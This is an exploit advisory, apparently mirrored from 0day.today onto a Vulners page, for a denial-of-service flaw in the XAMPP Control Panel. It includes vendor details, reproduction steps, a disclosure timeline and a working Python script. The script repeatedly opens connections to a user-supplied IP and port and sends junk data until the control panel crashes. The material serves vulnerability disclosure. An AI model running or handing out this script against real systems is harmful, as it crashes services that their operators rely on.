Lucene search
K

XAMPP Control Panel Denial Of Service Exploit

🗓️ 25 Dec 2016 00:00:00Reported by hyp3rlinxType 
zdt
 zdt
🔗 0day.today👁 75 Views

XAMPP Control Panel Memory Corruption DOS via Port Writin

Code
[+] Credits: John Page (hyp3rlinx)


Vendor:
=====================
www.apachefriends.org




Product:
===================
XAMPP Control Panel


XAMPP is a free and open source cross-platform web server solution stack
package developed by Apache Friends,
consisting mainly of the Apache HTTP Server, MariaDB database, and
interpreters for scripts written in the PHP
and Perl programming languages.



Vulnerability Type:
=====================
Memory Corruption DOS



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

XAMPP Control Panel crashes with access violation when writing junk bytes
into several different ports e.g.

Tested following ports / versions:

(MySQL) 3306 v3.2.2
(Tomcat) 8080 (XAMPP v3.1.0)
(FileZilla) 21
(Mercury Mail) 25 (XAMPP v3.1.0),79,105,106,143.

It is not that XAMPP Control Panel is listening on some port, however
memory corruption and Denial Of Service does
occur when you constantly write junk into, for instance, the MySQL, Tomcat,
FileZilla, Mercury Mail listening ports.


1) Launch XAMPP control panel
2) Run exploit script against some ports like 3306, 79, 105 (Mercury mail)
with Apache running and or Tomcat

Target different services and port combinations to reproduce.

Important to note is that neither MySQL or Apache itself crash, it IS the
XAMPP Control Panel that crashes with Access Violation.


Tested Windows SP1


POC Video:
https://vimeo.com/196938261


Exploit code(s):
===============


import socket

print "XAMPP Control Panel DOS"
print "Discovery: John Page (hyp3rlinx)"
print "ApparitionSec"
print "hyp3rlinx.altervista.org\r\n"

IP = raw_input("[IP]> ")
PORT = raw_input("[PORT]> ")

arr=[]
c=0
while 1:
    try:
        arr.append(socket.create_connection((IP,PORT)))
        arr[c].send("DOOM")
        print "Die!"
        c+=1
    except socket.error:
        print "[+] Done! "
        raw_input()
        break




Disclosure Timeline:
=======================================
Vendor Notification: November 1, 2016
Vendor acknowledgement: November 4, 2016
Vendor released Fix : December 22, 2016
(NO public mention as of the time of this writing)
December 24, 2016  : Public Disclosure

#  0day.today [2018-03-09]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation